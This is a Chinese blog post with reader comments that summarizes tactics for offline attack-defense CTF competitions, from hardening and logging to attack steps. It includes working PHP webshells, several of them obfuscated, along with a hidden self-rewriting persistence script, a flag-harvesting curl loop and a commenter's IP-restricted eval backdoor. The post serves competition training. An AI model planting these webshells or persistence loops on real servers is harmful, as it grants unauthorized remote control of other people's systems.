CTF线下攻防赛个人总结

2017-07-04 23:14:24 58 23995 1

首发于个人blog:http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/

本着最后一次参加线下赛,这时间安排也是让人很无语。将这一份总结留给学弟他们,涨涨经验。


一张常规的CTF线下攻防思维导图

SSH登陆

两三个人进行分工,一个粗略的看下web,有登陆口的话,就需要修改密码,将情况反馈给队友,让登陆ssh的小伙伴进行密码的修改,改成炒鸡复杂、然后将Web目录下载下来,上WAF、文件监控、端口扫描。将这几个工作分工好,顺序就像图上。

tips:将下载下来的Web目录理一遍,看是否有可疑的文件夹,比如bak。 依然记得有次比赛,有两台靶机,赛组提示弱口令。然后每一支队伍都奔着后台去了,结果有队伍在Web目录下发现了这个bak目录,打开发现是phpmyadmin,提示的弱口令是在这里用上。

网络拓扑

首先先理清好网络拓扑关系,节点与各链路之间的关联。这个需要下一步配合,要不然不知道对手在哪就GG。 示例:

主机发现

如果是在同个C段,或者B段,均可以使用RouterScan进行对80端口扫描进行扫描得出,嫌麻烦的话,就用httpscan这个小巧的脚本

千万要记得扫端口,这很重要。用nmap也行,自己写的脚本或者网上找的也行。

预留后门

有的比赛环境,为了照顾比较菜的选手(此处举手),预留了一句话后门。将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具可以扫描得出(如果预留)

黑盒测试

防御及修复建议 1.将所有的登陆口密码进行修改(炒鸡复杂); 2.将上传页面的action地址修改为*,(机智小能手!!); 3.反序列化和命令执行,就去seebug或其他的站点找补丁; 4.待补充...

一句话

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。 简单举例:

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

连接方式:php?2=assert密码是1。 献上我常用得一句话

<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>

配置为?b=))99(rhC(tseuqeR+lave

<?php
    $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs= 连接密码:0(零)

权限维持

<?php
    set_time_limit(0);
    ignore_user_abort(true);

    $file = '.demo.php';
    $shell = "<?php phpinfo();?>";

    while(true){
        file_put_contents($file, $shell);
        system('chmod 777 .demo.php');

        usleep(50);
        }
?>

tips:.demo.php前面使用一个点,能很好的隐藏文件。 想要结束这个进程,除了最暴力的重启服务之外,更为优雅的如下:

<?php
while (1) {
    $pid=1234;
    @unlink('demo.php');
    exec('kill -9 $pid');
}
?>

先查看进程,查看对应的pid,再执行即可。

flag获取

上面的$shell内容看个人,线下赛可以直接使用<?php echo system("crul 10.0.0.2"); ?>之类的,只是说一个点,剩余的发挥空间由你们思考。 最好能写一个批量上传的,结合批量访问。批量访问参考PHP-定时任务 或者

#!/bin/bash
while true
do
    flag=$(curl 'http://172.16.4.42:800')
    curl --cookie "PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD" --data "key="${flag} "http://172.16.4.42/index.php/wargame/submit"
    sleep 1s
done

只有想不到,没有做不到。

日志分析

日志分析的用途

  1. 感知可能正在发生的攻击,从而规避存在的安全风险
  2. 应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失

记录log脚本

这种脚本网上有很多。

<?php
date_default_timezone_set('Asia/Shanghai');
$ip       = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];   //访问者要访问的文件名
$parameter   = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time     =   date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";

// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

日志分析工具

  1. LogForensics 腾讯实验室 https://security.tencent.com/index.php/opensource/detail/15
  2. 北风飘然@金乌网络安全实验室 http://www.freebuf.com/sectool/126698.html
  3. 网络ID为piaox的安全从业人员: http://www.freebuf.com/sectool/110644.html
  4. 网络ID:SecSky http://www.freebuf.com/sectool/8982.html
  5. 网络ID:鬼魅羊羔
    http://www.freebuf.com/articles/web/96675.html

CTF总结

意义所在

首先,CTF题是信息安全得基本概念,攻防技术、技巧得浓缩和提炼。通过解题,会快速掌握题目中所包含得概念和技术点,而这些知识在真实得环境中可能比较分散,难以学习,高水平得CTF都是由业内专家命题,往往凝聚着他们多年积累出来的技能。

其次,CTF题注重实际操作,并与基础理论知识相结合。每道CTF都需要实际动手才能找到答案,并且在比赛中经常要拼速度,这对攻防操作得能力会有极高的锻炼。除此之外,高质量得CTF题都没法直接使用现成工具解出,一般需要在理解基本原理的基础上,自己编写代码来求解,这个过程会加深和巩固计算机基础知识得理解。

最后,CTF能够给不能层次的人在技术上带来提高。没有网络信息安全基础的学生通过CTF,建立了安全攻防的概念;有初步基础的学生,通过高质量赛题的实践练习,提升了实战能力;已经学有所成的学生,通过国际CTF大赛和国际强队比拼,开阔了视野。

不要为CTF而CTF

虽然ctf涉及到的知识点面非常的全面。但是在实际应用中,在自己所选择的方向上给予不了多大的帮助。 只因为CTF环境太过于理想化(当然是我水平问题,做不来大的CTF赛题),因为总有方法可以拿到flag,在实操上,遇到瓶颈,要考虑的东西就多了。

自评TCV:1

关于作者

RcoIl15篇文章404篇回复

评论58次

要评论?请先  登录  或  注册
  • 58楼
    2018-4-14 16:20

    很好,深入浅出,一直对ctf不大了解。总算知道做什么了

  • 57楼
    2018-4-3 18:44

    权限维持的脚本最好使用变换,要不很容易被反制的

  • 56楼
    2018-4-2 14:21

    楼主的博客不错

  • 55楼
    2017-8-12 10:19
    8000IAT1

    一图胜千言啊,总结的很清晰。不过信息搜集的方式提供的还是稍微少了一点。

    1

    因为网上对于站点的信息收集已经烂大街,所以。。。。 而且,都是一样的环境,还需要怎么收集呢,端口,服务,站点类型,什么的在自己机子上都是可以看到的。

  • 54楼
    2017-8-12 10:11

    一图胜千言啊,总结的很清晰。不过信息搜集的方式提供的还是稍微少了一点。

  • 53楼
    2017-7-22 10:35

    总结的真好,多谢

  • 52楼
    2017-7-12 19:55
    evilfox

    请教下楼主,这种主机的思维导图你知道用什么mac客户端最方便吗,因为最近弄环境。发现自己的两款思维导图都不好用了

    1
    RcoIl

    不好意思,mac我目前没有啥推荐的、

    2
    RcoIl

    主机我是用visio和https://www.processon.com/这两款。

    5

    不知道有没有mac版的。回头我看下。谢了

  • 51楼
    2017-7-10 09:11
    evilfox

    请教下楼主,这种主机的思维导图你知道用什么mac客户端最方便吗,因为最近弄环境。发现自己的两款思维导图都不好用了

    1
    RcoIl

    不好意思,mac我目前没有啥推荐的、

    2
    evilfox

    我用的xmind。主机那种图不好弄

    4

    主机我是用visio和https://www.processon.com/这两款。

  • 50楼
    2017-7-9 11:03
    evilfox

    请教下楼主,这种主机的思维导图你知道用什么mac客户端最方便吗,因为最近弄环境。发现自己的两款思维导图都不好用了

    1
    RcoIl

    不好意思,mac我目前没有啥推荐的、

    2
    RcoIl

    我看了下,mac下用xmind也是可以的,,,,不好意思、

    3

    我用的xmind。主机那种图不好弄

  • 49楼
    2017-7-7 19:27
    evilfox

    请教下楼主,这种主机的思维导图你知道用什么mac客户端最方便吗,因为最近弄环境。发现自己的两款思维导图都不好用了

    1

    http://naotu.baidu.com 云端的 so 简便的思维脑图 当然功能够用 不强

  • 48楼
    2017-7-7 15:51
    evilfox

    请教下楼主,这种主机的思维导图你知道用什么mac客户端最方便吗,因为最近弄环境。发现自己的两款思维导图都不好用了

    1
    RcoIl

    不好意思,mac我目前没有啥推荐的、

    2

    我看了下,mac下用xmind也是可以的,,,,不好意思、

  • 47楼
    2017-7-7 08:21
    三流火

    给楼主补充一下1、不死马 可以利用www-data kill自己的进程进行关闭 也就是重启进程。所以给自己种个马 是很有用的(www-data权限),楼主也说到了这一点。2、楼主的一句话 混淆性非常强,短时间分析确实很难(当然可以var_dump 关键参数来看出来)。不过就怕别人 能够抓到流量 分析流量 这样隐藏不住连接密码的。 我也在构思能不能把被中马服务器的IP 加入到连接密码中去,这样就能做到一机一密码了。 肯定不是给菜刀用,是给批量的flag的脚本用。3、总有队伍不改密码的,写个脚本刷刷刷啊 楼主已经把AWD的整体思路说的,按照那个思维导图 丰富自己的武器库,积累经验一定能走上巅峰的

    1
    RcoIl

    对于第2点,最好是用md5马,这样就很安全;关于构思这个一机一马,目前还没有什么好的想法。第3点确实也是可以利用上的,有时候环境不一样,默认的密码就不一样,有些环境就全部一样的。还是非常感谢老铁,补充得很到位。

    2
    三流火

    MD5 防止了别人从源代码里面看出来连接密码。但是如果别人有抓包的手段,(就是你说的日志功能)那么从网络流量里面就很容易发现密码了。所以备一个一机一密的一句话 或者 已来源IP 为鉴权因素的马,就能保证只有你自己能用了。if ($_SERVER == '你的IP'){ @eval($_POST);}比如以上代码 就能气死人

    3

    这个真是骚的一逼啊,get

  • 46楼
    2017-7-6 16:37
    evilfox

    请教下楼主,这种主机的思维导图你知道用什么mac客户端最方便吗,因为最近弄环境。发现自己的两款思维导图都不好用了

    1

    不好意思,mac我目前没有啥推荐的、

  • 45楼
    2017-7-6 16:36
    三流火

    给楼主补充一下1、不死马 可以利用www-data kill自己的进程进行关闭 也就是重启进程。所以给自己种个马 是很有用的(www-data权限),楼主也说到了这一点。2、楼主的一句话 混淆性非常强,短时间分析确实很难(当然可以var_dump 关键参数来看出来)。不过就怕别人 能够抓到流量 分析流量 这样隐藏不住连接密码的。 我也在构思能不能把被中马服务器的IP 加入到连接密码中去,这样就能做到一机一密码了。 肯定不是给菜刀用,是给批量的flag的脚本用。3、总有队伍不改密码的,写个脚本刷刷刷啊 楼主已经把AWD的整体思路说的,按照那个思维导图 丰富自己的武器库,积累经验一定能走上巅峰的

    1
    RcoIl

    对于第2点,最好是用md5马,这样就很安全;关于构思这个一机一马,目前还没有什么好的想法。第3点确实也是可以利用上的,有时候环境不一样,默认的密码就不一样,有些环境就全部一样的。还是非常感谢老铁,补充得很到位。

    2
    三流火

    MD5 防止了别人从源代码里面看出来连接密码。但是如果别人有抓包的手段,(就是你说的日志功能)那么从网络流量里面就很容易发现密码了。所以备一个一机一密的一句话 或者 已来源IP 为鉴权因素的马,就能保证只有你自己能用了。if ($_SERVER == '你的IP'){ @eval($_POST);}比如以上代码 就能气死人

    3

    捡屎都没法捡了这回。或许可以伪造一个来源ip进行post。 思路很猥琐。

  • 44楼
    2017-7-6 15:40

    请教下楼主,这种主机的思维导图你知道用什么mac客户端最方便吗,因为最近弄环境。发现自己的两款思维导图都不好用了

  • 43楼
    2017-7-6 15:34
    三流火

    给楼主补充一下1、不死马 可以利用www-data kill自己的进程进行关闭 也就是重启进程。所以给自己种个马 是很有用的(www-data权限),楼主也说到了这一点。2、楼主的一句话 混淆性非常强,短时间分析确实很难(当然可以var_dump 关键参数来看出来)。不过就怕别人 能够抓到流量 分析流量 这样隐藏不住连接密码的。 我也在构思能不能把被中马服务器的IP 加入到连接密码中去,这样就能做到一机一密码了。 肯定不是给菜刀用,是给批量的flag的脚本用。3、总有队伍不改密码的,写个脚本刷刷刷啊 楼主已经把AWD的整体思路说的,按照那个思维导图 丰富自己的武器库,积累经验一定能走上巅峰的

    1
    RcoIl

    对于第2点,最好是用md5马,这样就很安全;关于构思这个一机一马,目前还没有什么好的想法。第3点确实也是可以利用上的,有时候环境不一样,默认的密码就不一样,有些环境就全部一样的。还是非常感谢老铁,补充得很到位。

    2

    MD5 防止了别人从源代码里面看出来连接密码。 但是如果别人有抓包的手段,(就是你说的日志功能)那么从网络流量里面就很容易发现密码了。 所以备一个一机一密的一句话 或者 已来源IP 为鉴权因素的马,就能保证只有你自己能用了。

    if ($_SERVER['REMOTE_ADDR'] == '你的IP'){         @eval($_POST['cmd']); }
    比如以上代码 就能气死人

  • 42楼
    2017-7-6 15:29
    whoam1

    从出题人的角度玩这个比较有意思CTF主办方指南之对抗搅屎棍https://www.leavesongs.com/PENETRATION/defense-ctf-cracker.html

    1

    楼主说的CTF线下攻防赛 实际上是AWD 模式, 和CTF区别还是很大的。 你说的这个CTF 防搅屎的 是针对CTF的。 AWD 就是每只队伍都有自己的服务器(可能是多台,也可能有多个漏洞),多只队伍之间互相攻击。

  • 41楼
    2017-7-6 11:33

    今天早晨在老师的朋友圈看到了这篇文章,谢谢大佬分享经验

  • 40楼
    2017-7-6 10:44
    whoam1

    从出题人的角度玩这个比较有意思CTF主办方指南之对抗搅屎棍https://www.leavesongs.com/PENETRATION/defense-ctf-cracker.html

    1

    多方位思考也是可以的。

  • 39楼
    2017-7-6 10:43
    Au1ge

    总结的不错啊,一到线下赛就懵

    1

    以前也是这样。